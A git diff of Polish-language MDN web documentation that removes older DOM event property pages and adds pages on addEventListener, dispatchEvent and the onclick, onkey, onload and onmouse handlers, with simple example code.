diff --git a/files/pl/web/api/event/inituievent/index.html b/files/pl/web/api/event/inituievent/index.html deleted file mode 100644 index 3a20fef39d..0000000000 --- a/files/pl/web/api/event/inituievent/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: event.initUIEvent -slug: Web/API/Event/initUIEvent -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/UIEvent/initUIEvent ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Inicjalizuje utworzone wcześniej zdarzenie interfejsu użytkownika.

-

Składnia

-
event.initUIEvent(type,canBubble,cancelable,view,detail)
-
-

Parametry

-
-
- type
-
- typ zdarzenia
-
- canBubble
-
- Wartość logiczna wskazująca, czy zdarzenie ma bąbelkować czy nie (zob. bubbles).
-
- cancelable
-
- Wartość logiczna wskazująca, czy zdarzenie może zostać anulowane (zob. cancelable).
-
- view
-
- widok (AbstractView) powiązany z tym zdarzeniem
-
- detail
-
- liczba określająca szczegółową informację dla tego zdarzenia; dla zdarzeń myszy jest to liczba kliknięć w danym miejscu ekranu (zwykle 1).
-
-

Przykład

-
e = document.createEvent("UIEvents");
-// tworzy zdarzenie kliknięcia, które bąbelkuje, może być
-// anulowane i którego widok i szczegółowa informacja
-// to odpowiednio window i 1
-e.initUIEvent("click", true, true, window, 1);
-
-

Specyfikacja

-

initUIEvent

-

{{ languages( { "en": "en/DOM/event.initUIEvent" } ) }}

diff --git a/files/pl/web/api/event/ischar/index.html b/files/pl/web/api/event/ischar/index.html deleted file mode 100644 index fc7a7dfec9..0000000000 --- a/files/pl/web/api/event/ischar/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: event.isChar -slug: Web/API/Event/isChar -tags: - - DOM - - Wszystkie_kategorie -translation_of: Web/API/UIEvent/isChar ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Zwraca wartość logiczną oznaczającą, czy w zdarzeniu pojawił się klawisz znaku czy nie.

-

Składnia

-
bool = event.isChar
-
-

Example

-
 if e.isChar
-   echoInput(e.type);
- }
-
-

Notes

-

Niektórze kombinacje klawiszy mogą wywyoływać zdarzenia bez wystąpienia znaku (np. ctrl + alt). Wtedy isChar zwraca fałsz. isChar może być użyty, kiedy funkcje obsługujące zdarzenie potrzebują np. wyświetlić wprowadzony znak na ekranie.

-

Specyfikacja

-

Nie należy do specyfikacji.

-

{{ languages( { "en": "en/DOM/event.isChar" } ) }}

diff --git a/files/pl/web/api/event/keycode/index.html b/files/pl/web/api/event/keycode/index.html deleted file mode 100644 index 3c6c510c14..0000000000 --- a/files/pl/web/api/event/keycode/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: event.keyCode -slug: Web/API/Event/keyCode -tags: - - DOM - - Wszystkie_kategorie -translation_of: Web/API/KeyboardEvent/keyCode -translation_of_original: Web/API/event.keyCode ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Zwraca kod Unicode dla klawisza nie będącego znakiem w zdarzeniu keypress lub dowolnego klawisza w każdym innym zdarzeniu związanym z klawiaturą.

-

Składnia

-
klawisz = event.keyCode
-
-

Parametry

- -

Uwagi

-

Zobacz opis właściwości charCode.

-

Specyfikacja

-

Nie należy do specyfikacji. Zobacz nsIDOMKeyEvent.

-

{{ languages( { "en": "en/DOM/event.keyCode" } ) }}

diff --git a/files/pl/web/api/event/layerx/index.html b/files/pl/web/api/event/layerx/index.html deleted file mode 100644 index 5a69b4c864..0000000000 --- a/files/pl/web/api/event/layerx/index.html +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: event.layerX -slug: Web/API/Event/layerX -tags: - - DOM - - Wszystkie_kategorie -translation_of: Web/API/UIEvent/layerX ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Zwraca poziomą współrzędną miejsca, gdzie wystąpiło zdarzenie, względem bieżącej warstwy.

-

Składnia

-
liczba = event.layerX
-
-

{{ languages( { "en": "en/DOM/event.layerX" } ) }}

diff --git a/files/pl/web/api/event/layery/index.html b/files/pl/web/api/event/layery/index.html deleted file mode 100644 index f610d08357..0000000000 --- a/files/pl/web/api/event/layery/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: event.layerY -slug: Web/API/Event/layerY -tags: - - DOM - - Wszystkie_kategorie -translation_of: Web/API/UIEvent/layerY ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Zwraca pionową współrzędną miejsca, gdzie wystąpiło zdarzenie, względem bieżącej warstwy.

-

Składnia

-
liczba = event.layerY
-
-

Specyfikacja

-

Nie należy do specyfikacji.

-

{{ languages( { "en": "en/DOM/event.layerY" } ) }}

diff --git a/files/pl/web/api/event/metakey/index.html b/files/pl/web/api/event/metakey/index.html deleted file mode 100644 index 3c18799032..0000000000 --- a/files/pl/web/api/event/metakey/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: event.metaKey -slug: Web/API/Event/metaKey -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/MouseEvent/metaKey -translation_of_original: Web/API/event.metaKey ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Zwraca wartość logiczną wskazującą, czy klawisz <meta> był wciśnięty podczas wywołania zdarzenia.

-

Przykład

-
 function goInput(e) {
- // sprawdza metaKey
-   if (e.metaKey) {
-        // i przekazuje zdarzenie dalej
-     superSizeOutput(e);
-
-    } else {
-     doOutput(e);
-    }
- }
-
-

Uwagi

-

Na niekótrych platformach metaKey może obsługiwać klawisz o innej nazwie.

-

Specyfikacja

-

metaKey

-

{{ languages( { "en": "en/DOM/event.metaKey" } ) }}

diff --git a/files/pl/web/api/event/pagex/index.html b/files/pl/web/api/event/pagex/index.html deleted file mode 100644 index 98c3c3e1ed..0000000000 --- a/files/pl/web/api/event/pagex/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: event.pageX -slug: Web/API/Event/pageX -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/UIEvent/pageX ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Zwraca poziomą współrzędną miejsca, gdzie wystąpiło zdarzenie, względem całej strony.

-

Składnia

-
liczba = event.pageX
-
-

{{ languages( { "en": "en/DOM/event.pageX", "es": "es/DOM/event.pageX" } ) }}

diff --git a/files/pl/web/api/event/pagey/index.html b/files/pl/web/api/event/pagey/index.html deleted file mode 100644 index d82e2237df..0000000000 --- a/files/pl/web/api/event/pagey/index.html +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: event.pageY -slug: Web/API/Event/pageY -tags: - - DOM - - Wszystkie_kategorie -translation_of: Web/API/UIEvent/pageY ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Zwraca pionową współrzędną miejsca, gdzie wystąpiło zdarzenie, względem całej strony.

-

Składnia

-
liczba = event.pageY
-
-

{{ languages( { "en": "en/DOM/event.pageY" } ) }}

diff --git a/files/pl/web/api/event/relatedtarget/index.html b/files/pl/web/api/event/relatedtarget/index.html deleted file mode 100644 index 46ef60e718..0000000000 --- a/files/pl/web/api/event/relatedtarget/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: event.relatedTarget -slug: Web/API/Event/relatedTarget -tags: - - DOM - - Wszystkie_kategorie -translation_of: Web/API/MouseEvent/relatedTarget -translation_of_original: Web/API/event.relatedTarget ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Wskazuje na drugi cel zdarzenia.

-

Składnia

-
eventTarget = event.relatedTarget
-
-

Parametry

- -

Przykład

-
var rel = event.relatedTarget;
-// dump("LEAVING " + (rel ? rel.localName : "null") + "\n");
-// relatedTarget is null when the titletip is first shown:
-// a mouseout event fires because the mouse is exiting
-// the main window and entering the titletip "window".
-// relatedTarget is also null when the mouse exits the main
-// window completely, so count how many times relatedTarget
-// was null after titletip is first shown and hide popup
-// the 2nd time
-if (!rel) {
-  ++this._mouseOutCount;
-  if (this._mouseOutCount > 1)
-    this.hidePopup();
-  return;
-}
-// find out if the node we are entering is one of our
-// anonymous children
-while (rel) {
-  if (rel == this)
-    break;
-  rel.parentNode;
-}
-// if the entered node is not a descendant of ours, hide
-// the tooltip
-if (rel != this && this._isMouseOver) {
-  this.hidePopup();
-}
-
-

Uwagi

-

Za specyfikacją W3C: "Obecnie ten atrybuty używany jest przy zdarzeniu mouseover, gdzie kieruje do EventTarget, jaki opuściło urządzenie wskazujące oraz przy zdarzeniu mouseout, gdzie kieruje do EventTarget, w który weszło urządzenie wskazujące."

-

Powyzszy przykład jest typowy - właściwość relatedTarget używana jest by znaleźć, jeśli jest związany z tym zdarzeniem, kolejny element. Zdarzenia takie jak najechanie myszą ( - - mouseover - ) są powiązane z konkretnym elementem docelowym, ale mogą też angażować drugi cel, jak np. element opuszczany przez mysz w momencie, gdy najechania na główny cel.

-

Specyfikacja

-

relatedTarget

-

{{ languages( { "en": "en/DOM/event.relatedTarget" } ) }}

diff --git a/files/pl/web/api/event/screenx/index.html b/files/pl/web/api/event/screenx/index.html deleted file mode 100644 index f248efb6f3..0000000000 --- a/files/pl/web/api/event/screenx/index.html +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: event.screenX -slug: Web/API/Event/screenX -tags: - - DOM - - Wszystkie_kategorie -translation_of: Web/API/MouseEvent/screenX -translation_of_original: Web/API/event.screenX ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Zwraca poziomą współrzędną miejsca, gdzie wystąpiło zdarzenie, względem całego ekranu.

-

Składnia

-
liczbaPikseli = event.screenX
-
-

Parametry

- -

Przykład

-
 function checkClickMap(e) {
-   if e.screenX < 50
-     doRedButton();
-   if 50 <= e.screenX < 100
-     doYellowButton();
-   if e.screenX >= 100
-     doRedButton();
- }
-
-

Uwagi

-

Kiedy złapiesz zdarzenie w oknie, dokumencie czy innym obszernym elemencie możesz pobrać współrzędne tego zdarzenia (np. kliknięcia) i obsłużyć je prawidłowo, tak jak pokazuje powyższy przykład.

-

Specyfikacja

-

screenX

-

{{ languages( { "en": "en/DOM/event.screenX" } ) }}

diff --git a/files/pl/web/api/event/screeny/index.html b/files/pl/web/api/event/screeny/index.html deleted file mode 100644 index 52af68dc14..0000000000 --- a/files/pl/web/api/event/screeny/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: event.screenY -slug: Web/API/Event/screenY -tags: - - DOM - - Wszystkie_kategorie -translation_of: Web/API/MouseEvent/screenY -translation_of_original: Web/API/event.screenY ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Zwraca pionową współrzędną miejsca, gdzie wystąpiło zdarzenie, względem całego ekranu.

-

Składnia

-
liczbaPikseli = event.screenY
-
-

Parametry

- -

Uwagi

-

Kiedy złapiesz zdarzenie w oknie, dokumencie czy innym obszernym elemencie możesz pobrać współrzędne tego zdarzenia (np. kliknięcia) i obsłużyć je prawidłowo. Zobacz przykład do screenX.

-

Specyfikacja

-

screenY

-

{{ languages( { "en": "en/DOM/event.screenY" } ) }}

diff --git a/files/pl/web/api/event/shiftkey/index.html b/files/pl/web/api/event/shiftkey/index.html deleted file mode 100644 index ee3c1cb72c..0000000000 --- a/files/pl/web/api/event/shiftkey/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: event.shiftKey -slug: Web/API/Event/shiftKey -tags: - - DOM - - Wszystkie_kategorie -translation_of: Web/API/MouseEvent/shiftKey -translation_of_original: Web/API/event.shiftKey ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Wskazuje, czy klawisz <shift> był wciśnięty przy wywołaniu zdarzenia.

-

Składnia

-
bool = event.shiftKey
-
-

Przykład

-
 function goInput(e) {
- // sprawdza shiftKey
-   if e.shiftKey
-       // i przekazuje zdarzenie dalej
-     superSizeOutput(e);
-   else
-     doOutput(e)
-
-

Specyfikacja

-

shiftKey

-

{{ languages( { "en": "en/DOM/event.shiftKey" } ) }}

diff --git a/files/pl/web/api/event/view/index.html b/files/pl/web/api/event/view/index.html deleted file mode 100644 index 57af70a587..0000000000 --- a/files/pl/web/api/event/view/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: event.view -slug: Web/API/Event/view -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/UIEvent/view ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Atrybut view identyfikuje widok (interfejs AbstractView), w którym wygenerowane zostało zdarzenie.

-

Składnia

-
referencjaDoAbstractView = event.view
-
-

Parametry

- -

Specyfikacja

-

view

-

{{ languages( { "en": "en/DOM/event.view" } ) }}

diff --git a/files/pl/web/api/eventtarget/addeventlistener/index.html b/files/pl/web/api/eventtarget/addeventlistener/index.html new file mode 100644 index 0000000000..781ec7f3b6 --- /dev/null +++ b/files/pl/web/api/eventtarget/addeventlistener/index.html @@ -0,0 +1,109 @@ +--- +title: element.addEventListener +slug: Web/API/Element/addEventListener +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/API/EventTarget/addEventListener +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Metoda addEventListener pozwala zarejestrować obserwatora zdarzeń dla określonego typu zdarzenia na elemencie.

+

Składnia

+
target.addEventListener(type, listener, useCapture);
+
+
+
+ type 
+
+ Łańcuch przedstawiający typ zdarzenia do nasłuchu.Need a link here
+
+ listener 
+
+ Obiekt, który otrzymuje zawiadomienie, gdy nastąpi zdarzenie określonego typu. Musi być zaimplementowanym obiektem interfejsu EventListener lub pojedynczą funkcją JavaScript.
+
+ useCapture 
+
+ Jeśli zostanie ustawione na true, useCapture wskazuje, że użytkownik chce przechwytywać zdarzenia. Po rozpoczęciu przechwytywania, wszystkie zdarzenia typu type będą przekazywane do naszego listener'a zanim zostaną wysłane do innych obiektów nasłuchujących (EventTarget) znajdujących się poniżej w drzewie DOM. Zdarzenia, które propagują w górę drzewa nie uruchamiają systemu nasłuchującego (listener) ustawionego na przechwytywanie.
+
+

Dla uzyskania szczegółowego objaśnienia zobacz DOM Level 3 Events.

+

Przykład

+
 <html>
+ <head>
+   <title>Przykład zdarzenia DOM</title>
+   <style type="text/css">
+     #t { border: 1px solid red }
+     #t1 { background-color: pink; }
+   </style>
+   <script type="text/javascript">
+
+   // Funkcja zmieniająca zawartość komórki tabeli t2
+   function modifyText() {
+     var t2 = document.getElementById("t2");
+     t2.firstChild.nodeValue = "Trzy";
+   }
+
+   // Funkcja dodająca obserwatora zdarzeń dla tabeli t
+   function load() {
+     var el = document.getElementById("t");
+     el.addEventListener("click", modifyText, false);
+   }
+
+   </script>
+ </head>
+ <body onload="load();">
+ <table id="t">
+   <tr><td id="t1">Jeden</td></tr>
+   <tr><td id="t2">Dwa</td></tr>
+ </table>
+ </body>
+ </html>
+
+

W powyższym przykładzie, funkcja modifyText() została zarejestrowana za pomocą addEventListener() do obsługi zdarzenia typu click na tabeli t. Kliknięcie w dowolnym miejscu tej tabeli rozpocznie propagowanie zdarzenia i wywoła funkcję modifyText().

+

Uwagi

+

Po co używać addEventListener?

+

addEventListener daje możliwość zarejestrowania obsługi zdarzenia według specyfikacji W3C DOM. Korzyści są następujące:

+ +

Alternatywne, starsze sposoby rejestracji zdarzeń są opisane poniżej.

+

Dodawanie nasłuchu podczas obsługi zdarzenia

+

Jeśli podczas obsługi zdarzenia zostanie dodany nowy obiekt nasłuchujący to zdarzenie, nie zostanie on uruchomiony dla tego zdarzenia. Może zostać wywołany podczas dalszego etapu przepływu zdarzeń(Event flow), np. w fazie propagowania zdarzenia w górę drzewa DOM.

+

Identyczne obiekty nasłuchujące

+

Jeśli kilka identycznych obiektów nasłuchujących zostanie zarejestrowanych dla tego samego zdarzenia (EventTarget) z tymi samymi parametrami to duplikaty są ignorowane. Obiekt nasłuchujący nie będzie wywołany więcej niż jeden raz. Powielone powiązania nie muszą być usuwane ręcznie za pomocą funkcji removeEventListener, ponieważ są one usuwane automatycznie.

+

Wartość this

+

Doczepianie akcji używając addEventListener() zmienia wartość this—zauważ, że wartość this ijest przekazywana funkcji przez zdarzenie.

+

W powyższym przykładzie, wartość this wewnątrz modifyText() gdy zostanie wywołana ze zdarzenia onclick event jest odwołaniem do tabeli 't'. Jeśli obsługa zdarzenia onclick jest dodana w źródle HTML:

+
<table id="t" onclick="modifyText();">
+  ...
+</table>
+
+

to wartość this wewnątrz funkcji modifyText() wywołanej z poziomu zdarzenia onclick będzie odwołaniem od obiektu globalnego(window).

+

Internet Explorer

+

W IE 8 i niższych należy użyć attachEvent zamiast standardowego addEventListener. By wspierać IE, powyższy przykład może zostać zmodyfikowany do:

+
if (el.addEventListener){
+  el.addEventListener('click', modifyText, false);
+} else if (el.attachEvent){
+  el.attachEvent('onclick', modifyText);
+}
+
+

Starsze sposoby dołączania zdarzeń

+

addEventListener() zostało wprowadzone wraz ze specyfikacją DOM 2 Events. Wcześniej, zdarzenia były dołączone jak pokazano poniżej:

+
// Using a function reference—note lack of '()'
+el.onclick = modifyText;
+
+// Używając deklaracji funkcji
+element.onclick = function(){
+                    // ... logika funkcji ...
+                  };
+
+

Ta metoda zastępuje istniejącą obsługę zdarzenia onclick na elemencie jeśli jest jakakolwiek. Podobnie do innych zdarzeń 'on' takich jak onblur, onkeypress, i tak dalej.

+

Ponieważ była to istotna część DOM 0, ta metoda jest bardzo szeroko wspierana i nie wymaga specjalnych kodów do różnych przeglądarek; stąd też jest to normalnie używana do dynamicznego zaczepienia obsługi zdarzenia jeśli nie potrzeba dodatkowych możliwości  addEventListener().

+

Specyfikacja

+

DOM Level 2 Events: addEventListener

+

{{ languages( { "en": "en/DOM/element.addEventListener", "fr": "fr/DOM/element.addEventListener", "ja": "ja/DOM/element.addEventListener" } ) }}

diff --git a/files/pl/web/api/eventtarget/dispatchevent/index.html b/files/pl/web/api/eventtarget/dispatchevent/index.html new file mode 100644 index 0000000000..266c570cfe --- /dev/null +++ b/files/pl/web/api/eventtarget/dispatchevent/index.html @@ -0,0 +1,43 @@ +--- +title: element.dispatchEvent +slug: Web/API/Element/dispatchEvent +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/EventTarget/dispatchEvent +--- +

{{ ApiRef() }}

+ +

Podsumowanie

+ +

Wywołuje zdarzenie w bieżącym elemencie.

+ +

Składnia

+ +
bool = element.dispatchEvent(event)
+
+ + + +

Uwagi

+ +

Jak pokazuje powyższy przykład, dispatchEvent to ostatni krok w procesie utwórz-zainicjuj-wywołaj, którego używa się by ręcznie wywołać zdarzenia w modelu zdarzeń implementacji.

+ +

Zdarzenie może zostać utworzone przy użyciu metody document.createEvent i zainicjowane za pomocą initEvent lub innej, bardziej wyspecjalizowanej metody, jak initMouseEvent albo initUIEvent.

+ +

Zobacz też dokumentację obiektu event.

+ +

Specyfikacja

+ +

DOM Level 2 Events: dispatchEvent

+ +

 

+ +
 
+ +

{{ languages( { "en": "en/DOM/element.dispatchEvent", "es": "es/DOM/element.dispatchEvent", "fr": "fr/DOM/element.dispatchEvent", "ja": "ja/DOM/element.dispatchEvent" } ) }}

diff --git a/files/pl/web/api/globaleventhandlers/onclick/index.html b/files/pl/web/api/globaleventhandlers/onclick/index.html new file mode 100644 index 0000000000..b6215b4c00 --- /dev/null +++ b/files/pl/web/api/globaleventhandlers/onclick/index.html @@ -0,0 +1,66 @@ +--- +title: element.onclick +slug: Web/API/Element/onclick +tags: + - DOM + - DOM_0 + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/GlobalEventHandlers/onclick +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Właściwość onclick zwraca kod obsługi zdarzenia onClick w bieżącym elemencie.

+

Składnia

+
element.onclick = refDoFunkcji;
+
+

gdzie refDoFunkcji to nazwa funkcji zadeklarowanej gdzie indziej bądź wyrażenie funkcyjne. Zob. Funkcje. - tego rodzialu jeszcze nie ma, a pod nazwa Funkcje jest cos innego

+

Przykład

+
<html>
+
+<head>
+<title>przykład zdarzenia onclick</title>
+
+<script type="text/javascript">
+
+function initElement()
+ {
+ var p = document.getElementById("foo");
+
+ // Uwaga: ani showAlert();, ani showAlert(param); tu NIE zadziałają
+ // potrzebna jest referencja do funkcji, a nie wywołanie funkcji
+ p.onclick = showAlert;
+ };
+
+function showAlert()
+ {
+ alert("wykryto zdarzenie onclick!")
+ }
+</script>
+
+<style type="text/css">
+<!--
+#foo {
+border: solid blue 2px;
+}
+-->
+</style>
+</head>
+
+<body onload="initElement()";>
+<span id="foo">Mój Element</span>
+<p>Kliknij na powyższy element.</p>
+</body>
+</html>
+
+

Można również użyć funkcji bezimiennej jak poniżej:

+
p.onclick = function() { alert("moot!"); };
+
+

Not going to confuse poor readers with this. You could also use a the Function constructor: <pre> p.onclick = Function( "alert('moot!')" ); </pre>

+

Uwagi

+

Zdarzenie click jest wywoływane, kiedy użytkownik kliknie na element. Zdarzenie to występuje po mousedown i mouseup.

+

Tylko jedna funkcja obsługi zdarzenia może zostać przypisana za jednym razem za pomocą tej właściwości. Możesz zamiast niej użyć metody addEventListener - jest bardziej elastyczna i stanowi część specyfikacji DOM Events.

+

Specyfikacja

+

{{ DOM0() }}

+

{{ languages( { "en": "en/DOM/element.onclick", "fr": "fr/DOM/element.onclick" } ) }}

diff --git a/files/pl/web/api/globaleventhandlers/onkeydown/index.html b/files/pl/web/api/globaleventhandlers/onkeydown/index.html new file mode 100644 index 0000000000..a7064fa2b0 --- /dev/null +++ b/files/pl/web/api/globaleventhandlers/onkeydown/index.html @@ -0,0 +1,24 @@ +--- +title: element.onkeydown +slug: DOM/element.onkeydown +tags: + - DOM + - DOM_0 + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/GlobalEventHandlers/onkeydown +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Własność onkeydown zawiera kod obsługi zdarzenia keydown dla bieżącego elementu.

+

Składnia

+
kod obsługi zdarzenia = element.onkeydown
+
+

Uwagi

+

Zdarzenie keydown wywoływane jest, gdy użytkownik naciska klawisz na klawiaturze.

+

Specyfikacja

+

{{ DOM0() }}

+
+  
+

{{ languages( { "en": "en/DOM/element.onkeydown", "fr": "fr/DOM/element.onkeydown" } ) }}

diff --git a/files/pl/web/api/globaleventhandlers/onkeypress/index.html b/files/pl/web/api/globaleventhandlers/onkeypress/index.html new file mode 100644 index 0000000000..eb57c1936c --- /dev/null +++ b/files/pl/web/api/globaleventhandlers/onkeypress/index.html @@ -0,0 +1,21 @@ +--- +title: element.onkeypress +slug: Web/API/Element/onkeypress +tags: + - DOM + - DOM_0 + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/GlobalEventHandlers/onkeypress +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Właściwość onkeypress zawiera kod obsługi zdarzenia onKeyPress dla bieżącego elementu.

+

Składnia

+
element.onkeypress = kod obsługi zdarzenia
+
+

Uwagi

+

Zdarzenie keydown wywoływane jest, gdy użytkownik naciska klawisz na klawiaturze.

+

Specyfikacja

+

{{ DOM0() }}

diff --git a/files/pl/web/api/globaleventhandlers/onkeyup/index.html b/files/pl/web/api/globaleventhandlers/onkeyup/index.html new file mode 100644 index 0000000000..ad411b0e1a --- /dev/null +++ b/files/pl/web/api/globaleventhandlers/onkeyup/index.html @@ -0,0 +1,24 @@ +--- +title: element.onkeyup +slug: Web/API/Element/onkeyup +tags: + - DOM + - DOM_0 + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/GlobalEventHandlers/onkeyup +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Właściwość onkeyup zawiera kod obsługi zdarzenia keyup dla bieżącego elementu.

+

Składnia

+
kod obsługi zdarzenia = element.onkeyup
+
+

Uwagi

+

Zdarzenie keyup wywoływane jest, gdy użytkownik zwalnia naciśnięty klawisz na klawiaturze.

+

Specyfikacja

+

{{ DOM0() }}

+
+  
+

{{ languages( { "en": "en/DOM/element.onkeyup", "fr": "fr/DOM/element.onkeyup" } ) }}

diff --git a/files/pl/web/api/globaleventhandlers/onload/index.html b/files/pl/web/api/globaleventhandlers/onload/index.html new file mode 100644 index 0000000000..45e1b97328 --- /dev/null +++ b/files/pl/web/api/globaleventhandlers/onload/index.html @@ -0,0 +1,62 @@ +--- +title: window.onload +slug: Web/API/Window/onload +tags: + - DOM + - DOM_0 + - Dokumentacja_Gecko_DOM + - Gecko + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/API/GlobalEventHandlers/onload +--- +

{{ ApiRef() }}

+ +

Podsumowanie

+ +

Uchwyt zdarzenia dla zdarzenia wczytywania okna (window).

+ +

Składnia

+ +
window.onload = funcRef;
+
+ + + +

Przykład

+ +
window.onload = function() {
+  init();
+  doSomethingElse();
+};
+
+ +
<html>
+<head>
+
+<title>Test onload</title>
+
+<script type="text/javascript">
+
+window.onload = load;
+
+function load()
+{
+ alert("Wykryto zdarzenie load!");
+}
+</script>
+</head>
+
+<body>
+<p>Zdarzenie load występuje w momencie zakończenia ładowania dokumentu!</p>
+</body>
+</html>
+
+ +

Uwagi

+ +

Zdarzenie load wywoływane jest na końcu procesu ładowania dokumentu. W momencie wystąpienia zdarzenia, DOM zawiera już wszystkie obiekty zawarte w dokumencie oraz zakończone zostało wczytywanie obrazków oraz ramek.
+
+ Istnieje także zdarzenie DOMContentLoaded (które można zarejestrować za pomocą addEventListener) występujące w momencie gdy DOM dla danej strony został zbudowany ale bez czekania na zakończenie ładowania pozostałych zasobów.

diff --git a/files/pl/web/api/globaleventhandlers/onmousedown/index.html b/files/pl/web/api/globaleventhandlers/onmousedown/index.html new file mode 100644 index 0000000000..e616906126 --- /dev/null +++ b/files/pl/web/api/globaleventhandlers/onmousedown/index.html @@ -0,0 +1,23 @@ +--- +title: element.onmousedown +slug: Web/API/Element/onmousedown +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/GlobalEventHandlers/onmousedown +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Własność onmousedown zwraca kod obsługi zdarzenia onMouseDown w bieżącym elemencie.

+

Składnia

+
event handling code = element.onMouseDown
+
+

Uwagi

+

Zdarzenie mousedown jest wywołane kiedy użytkownik naciśnie lewy przycisk.

+

Specyfikacja

+

DOM Level 0. Nie jest częścią specyfikacji.

+
+  
+

{{ languages( { "en": "en/DOM/element.onmousedown", "fr": "fr/DOM/element.onmousedown" } ) }}

diff --git a/files/pl/web/api/globaleventhandlers/onmousemove/index.html b/files/pl/web/api/globaleventhandlers/onmousemove/index.html new file mode 100644 index 0000000000..f54256c9f7 --- /dev/null +++ b/files/pl/web/api/globaleventhandlers/onmousemove/index.html @@ -0,0 +1,29 @@ +--- +title: element.onmousemove +slug: Web/API/Element/onmousemove +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/API/GlobalEventHandlers/onmousemove +--- +

{{ ApiRef() }}

+ +

Podsumowanie

+ +

Właściwość onmousemove zwraca kod obsługi zdarzenia mousemove w bieżącym elemencie.

+ +

Składnia

+ +
event handling code = element.onMouseMove
+
+ +

Uwagi

+ +

Zdarzenie mousemove jest wywoływane, kiedy użytkownik przesunie kursor myszy.

+ +

Specyfikacja

+ +

DOM Level 0. Nie jest częścią specyfikacji.

diff --git a/files/pl/web/api/htmlelement/click/index.html b/files/pl/web/api/htmlelement/click/index.html new file mode 100644 index 0000000000..5c0fe512d5 --- /dev/null +++ b/files/pl/web/api/htmlelement/click/index.html @@ -0,0 +1,23 @@ +--- +title: element.click +slug: Web/API/Element/click +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/HTMLElement/click +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Metoda click wywołuje kliknięcie na bieżącym elemencie.

+

Składnia

+
element.click()
+
+

Notatki

+

Metoda click symuluje zdarzenie kliknięcia na bieżącym elemencie. Zwykle używa się tego by wywołać obsługę zdarzenia przypisaną do elementu bieżącego bądź leżącego wyżej w "łańcuchu zdarzeń".

+

Specyfikacja

+

click

+
+  
+

{{ languages( { "en": "en/DOM/element.click", "fr": "fr/DOM/element.click" } ) }}

diff --git a/files/pl/web/api/htmlelement/dataset/index.html b/files/pl/web/api/htmlelement/dataset/index.html deleted file mode 100644 index fac7ec119f..0000000000 --- a/files/pl/web/api/htmlelement/dataset/index.html +++ /dev/null @@ -1,134 +0,0 @@ ---- -title: HTMLElement.dataset -slug: Web/API/HTMLElement/dataset -translation_of: Web/API/HTMLOrForeignElement/dataset ---- -
{{ APIRef("HTML DOM") }}
- -

Właściwość dataset interfejsu {{domxref("HTMLElement")}} pozwala na odczyt/zapis niestandardowcyh atrybutów (data-*) elementu. Dostęp ten jest możliwy w HTMLu jak i w DOMie.  It is a map of DOMString, one entry for each custom data attribute. Zauważ że właściwość dataset można odczytać, ale nie zmieniać bezpośrednio. Zamiast tego, wszystkie zapisy muszą być wykonywane na pojedynczych polach dataset, które odpowiadają atrybutom danych. Note also that an HTML data-attribute and its corresponding DOM dataset.property do not share the same name, but they are always similar:

- - - -

In addition to the information below, you'll find a how-to guide for using HTML data attributes in our article Using data attributes.

- -

Zmiana nazw

- -

dash-style to camelCase: A custom data attribute name is transformed to a key for the {{ domxref("DOMStringMap") }} entry with the following rules

- - - -

camelCase to dash-style: The opposite transformation, that maps a key to an attribute name, uses the following rules:

- - - -

The restriction in the rules above ensures that the two transformations are the inverse one of the other.

- -

For example, the attribute named data-abc-def corresponds to the key abcDef.

- - - -

Dostęp do wartości

- - - - - -

Ustawianie wartości

- - - -

Składnia

- - - -

Przykłady

